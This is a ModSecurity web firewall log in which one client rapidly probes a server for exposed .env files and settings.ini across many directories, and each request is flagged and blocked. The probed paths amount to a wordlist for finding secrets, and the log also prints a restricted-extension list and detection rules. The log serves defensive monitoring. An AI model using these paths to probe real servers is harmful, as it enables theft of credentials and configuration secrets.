[Mon Jul 28 20:45:58.355991 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpfgAAAAI&quot;]
[Mon Jul 28 20:45:58.356170 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpfgAAAAI&quot;]
[Mon Jul 28 20:45:58.440735 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpgQAAAAI&quot;]
[Mon Jul 28 20:45:58.441038 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpgQAAAAI&quot;]
[Mon Jul 28 20:45:58.441187 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpgQAAAAI&quot;]
[Mon Jul 28 20:45:58.463402 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpggAAAAI&quot;]
[Mon Jul 28 20:45:58.463617 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpggAAAAI&quot;]
[Mon Jul 28 20:45:58.463778 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpggAAAAI&quot;]
[Mon Jul 28 20:45:58.486078 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpgwAAAAI&quot;]
[Mon Jul 28 20:45:58.486293 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpgwAAAAI&quot;]
[Mon Jul 28 20:45:58.486474 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpgwAAAAI&quot;]
[Mon Jul 28 20:45:58.508751 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVphAAAAAI&quot;]
[Mon Jul 28 20:45:58.508945 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVphAAAAAI&quot;]
[Mon Jul 28 20:45:58.509098 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVphAAAAAI&quot;]
[Mon Jul 28 20:45:58.531270 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVphQAAAAI&quot;]
[Mon Jul 28 20:45:58.531458 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVphQAAAAI&quot;]
[Mon Jul 28 20:45:58.531612 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVphQAAAAI&quot;]
[Mon Jul 28 20:45:58.553823 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVphgAAAAI&quot;]
[Mon Jul 28 20:45:58.554026 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVphgAAAAI&quot;]
[Mon Jul 28 20:45:58.554182 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVphgAAAAI&quot;]
[Mon Jul 28 20:45:58.692177 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjAAAAAI&quot;]
[Mon Jul 28 20:45:58.692367 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjAAAAAI&quot;]
[Mon Jul 28 20:45:58.692520 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjAAAAAI&quot;]
[Mon Jul 28 20:45:58.714870 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjQAAAAI&quot;]
[Mon Jul 28 20:45:58.715097 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjQAAAAI&quot;]
[Mon Jul 28 20:45:58.715279 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjQAAAAI&quot;]
[Mon Jul 28 20:45:58.737461 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjgAAAAI&quot;]
[Mon Jul 28 20:45:58.737653 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjgAAAAI&quot;]
[Mon Jul 28 20:45:58.737820 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjgAAAAI&quot;]
[Mon Jul 28 20:45:58.760158 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjwAAAAI&quot;]
[Mon Jul 28 20:45:58.760371 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjwAAAAI&quot;]
[Mon Jul 28 20:45:58.760524 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpjwAAAAI&quot;]
[Mon Jul 28 20:45:58.782747 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpkAAAAAI&quot;]
